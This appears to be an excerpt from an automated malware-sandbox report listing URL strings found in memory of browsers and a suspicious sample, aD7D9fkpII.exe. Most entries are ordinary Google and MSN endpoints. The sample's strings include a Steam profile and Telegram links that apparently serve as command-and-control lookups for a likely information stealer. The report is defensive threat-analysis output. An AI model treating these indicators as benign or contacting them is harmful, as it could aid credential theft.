Source: chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326743782.00001E9000C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326743782.00001E9000C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326743782.00001E9000C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326743782.00001E9000C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326743782.00001E9000C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326743782.00001E9000C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326743782.00001E9000C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326743782.00001E9000C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326743782.00001E9000C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326743782.00001E9000C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326743782.00001E9000C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325263210.00001E90007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324019525.00001E90004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326895111.00001E9000C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325263210.00001E90007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324019525.00001E90004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326895111.00001E9000C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 0000000B.00000003.2234270308.00001E90002B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 0000000B.00000003.2273557452.00001E9001C78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2338199611.0000686000904000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2234270308.00001E90002B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 0000000B.00000003.2234270308.00001E90002B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard#exps-registration-success-page-urls
Source: chrome.exe, 0000000B.00000003.2230479936.0000686000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2230318746.000068600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 0000000B.00000003.2234270308.00001E90002B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardatures
Source: chrome.exe, 0000000B.00000003.2230479936.0000686000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2230318746.000068600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 0000000B.00000002.2336384617.0000686000238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2338199611.0000686000904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardh
Source: chrome.exe, 0000000B.00000002.2338199611.0000686000904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 0000000B.00000002.2326171667.00001E9000A28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2http://www.gstatic.com/generate_204
Source: chrome.exe, 0000000B.00000003.2234270308.00001E90002B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 0000000B.00000002.2323842066.00001E9000428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285841265.00001E9002748000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285960979.00001E9002764000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 0000000B.00000003.2247562461.00001E9001158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247174729.00001E90003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247628614.00001E900120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 0000000B.00000003.2247562461.00001E9001158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247174729.00001E90003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247628614.00001E900120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 0000000B.00000003.2230479936.0000686000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2230318746.000068600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 0000000B.00000003.2231166067.000068600087C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2338391369.0000686000920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2234270308.00001E90002B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247628614.00001E900120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 0000000B.00000003.2234270308.00001E90002B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload#companion-iph-blocklisted-page-urls
Source: chrome.exe, 0000000B.00000003.2230318746.000068600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 0000000B.00000002.2338391369.0000686000920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 0000000B.00000002.2338391369.0000686000920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918=
Source: chrome.exe, 0000000B.00000002.2338164026.00006860008D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 0000000B.00000003.2233552401.00001E90001C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 0000000B.00000002.2326962003.00001E9000CA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/
Source: chrome.exe, 0000000B.00000003.2270461668.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2329144945.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 0000000B.00000002.2323842066.00001E9000428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285841265.00001E9002748000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285960979.00001E9002764000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 0000000B.00000003.2270461668.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2329144945.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328786741.00001E900112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326895111.00001E9000C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 0000000B.00000003.2270461668.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2329144945.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2270461668.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2329144945.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326642438.00001E9000BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328786741.00001E900112C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: msedge.exe, 0000000F.00000002.2472963054.000008C400394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 0000000F.00000002.2472963054.000008C400394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: Cookies.18.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.18.dr	String found in binary or memory: https://msn.comXIDv10
Source: chrome.exe, 0000000B.00000002.2324075991.00001E9000500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327476732.00001E9000D9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 0000000B.00000002.2325498651.00001E9000858000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324282199.00001E9000558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 0000000B.00000002.2325498651.00001E9000858000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323988973.00001E90004AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328244648.00001E9000F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 0000000B.00000002.2325498651.00001E9000858000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323988973.00001E90004AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 0000000B.00000002.2325886446.00001E90009A3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2245026834.00001E9000FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326146786.00001E9000A18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.16.dr, 2cc80dabc69f58b6_0.16.dr	String found in binary or memory: https://ntp.msn.com
Source: QuotaManager.16.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.16.dr, 000003.log9.16.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.16.dr, 000003.log9.16.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: QuotaManager.16.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: msedge.exe, 0000000F.00000002.2472963054.000008C400394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 0000000B.00000003.2285302429.00001E90027DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285121622.00001E9002844000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2334359375.00001E90027DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285508925.00001E9002794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 0000000B.00000002.2334628367.00001E90028AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 0000000B.00000003.2285302429.00001E90027DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285121622.00001E9002844000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2334359375.00001E90027DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285508925.00001E9002794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 0000000B.00000003.2285302429.00001E90027DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285121622.00001E9002844000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2334359375.00001E90027DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285508925.00001E9002794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 0000000B.00000002.2327648335.00001E9000E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328023896.00001E9000EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326345160.00001E9000AC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328055322.00001E9000F08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328921058.00001E90012A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 0000000B.00000002.2322744149.00001E90000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 0000000B.00000002.2328023896.00001E9000EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328055322.00001E9000F08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 0000000B.00000002.2328023896.00001E9000EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328921058.00001E90012A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 0000000B.00000002.2328023896.00001E9000EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328055322.00001E9000F08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328921058.00001E90012A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 0000000B.00000002.2328023896.00001E9000EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323430224.00001E90002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328921058.00001E90012A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 0000000B.00000002.2328023896.00001E9000EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326345160.00001E9000AC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328055322.00001E9000F08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328921058.00001E90012A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 0000000B.00000002.2322744149.00001E90000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 0000000B.00000002.2324019525.00001E90004D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 0000000B.00000002.2325886446.00001E90009A3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2245026834.00001E9000FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326146786.00001E9000A18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 0000000B.00000003.2247562461.00001E9001158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247174729.00001E90003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247628614.00001E900120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 0000000B.00000002.2326146786.00001E9000A18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 0000000B.00000002.2324994448.00001E9000730000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2322716389.00001E9000098000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: chrome.exe, 0000000B.00000002.2324994448.00001E9000730000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2322744149.00001E90000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325263210.00001E90007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324019525.00001E90004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326895111.00001E9000C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325263210.00001E90007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324019525.00001E90004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326895111.00001E9000C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://srtb.msn.com/
Source: chrome.exe, 0000000B.00000003.2262212583.00001E90002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 0000000B.00000002.2323842066.00001E9000428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285841265.00001E9002748000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285960979.00001E9002764000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: aD7D9fkpII.exe, aD7D9fkpII.exe, 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199809363512
Source: aD7D9fkpII.exe, 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199809363512m0nk3Mozilla/5.0
Source: aD7D9fkpII.exe, 00000005.00000002.2782446076.0000000004C1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: aD7D9fkpII.exe, 00000005.00000002.2782446076.0000000004C1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: aD7D9fkpII.exe, 00000005.00000002.2772700161.0000000001571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: aD7D9fkpII.exe, 00000005.00000002.2772700161.0000000001571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/2qW
Source: aD7D9fkpII.exe, aD7D9fkpII.exe, 00000005.00000003.2074093950.000000000158B000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2772700161.0000000001557000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000003.2074017300.000000000157E000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2770513290.000000000044D000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04ael
Source: aD7D9fkpII.exe, 00000005.00000003.2074093950.000000000158B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04ael#
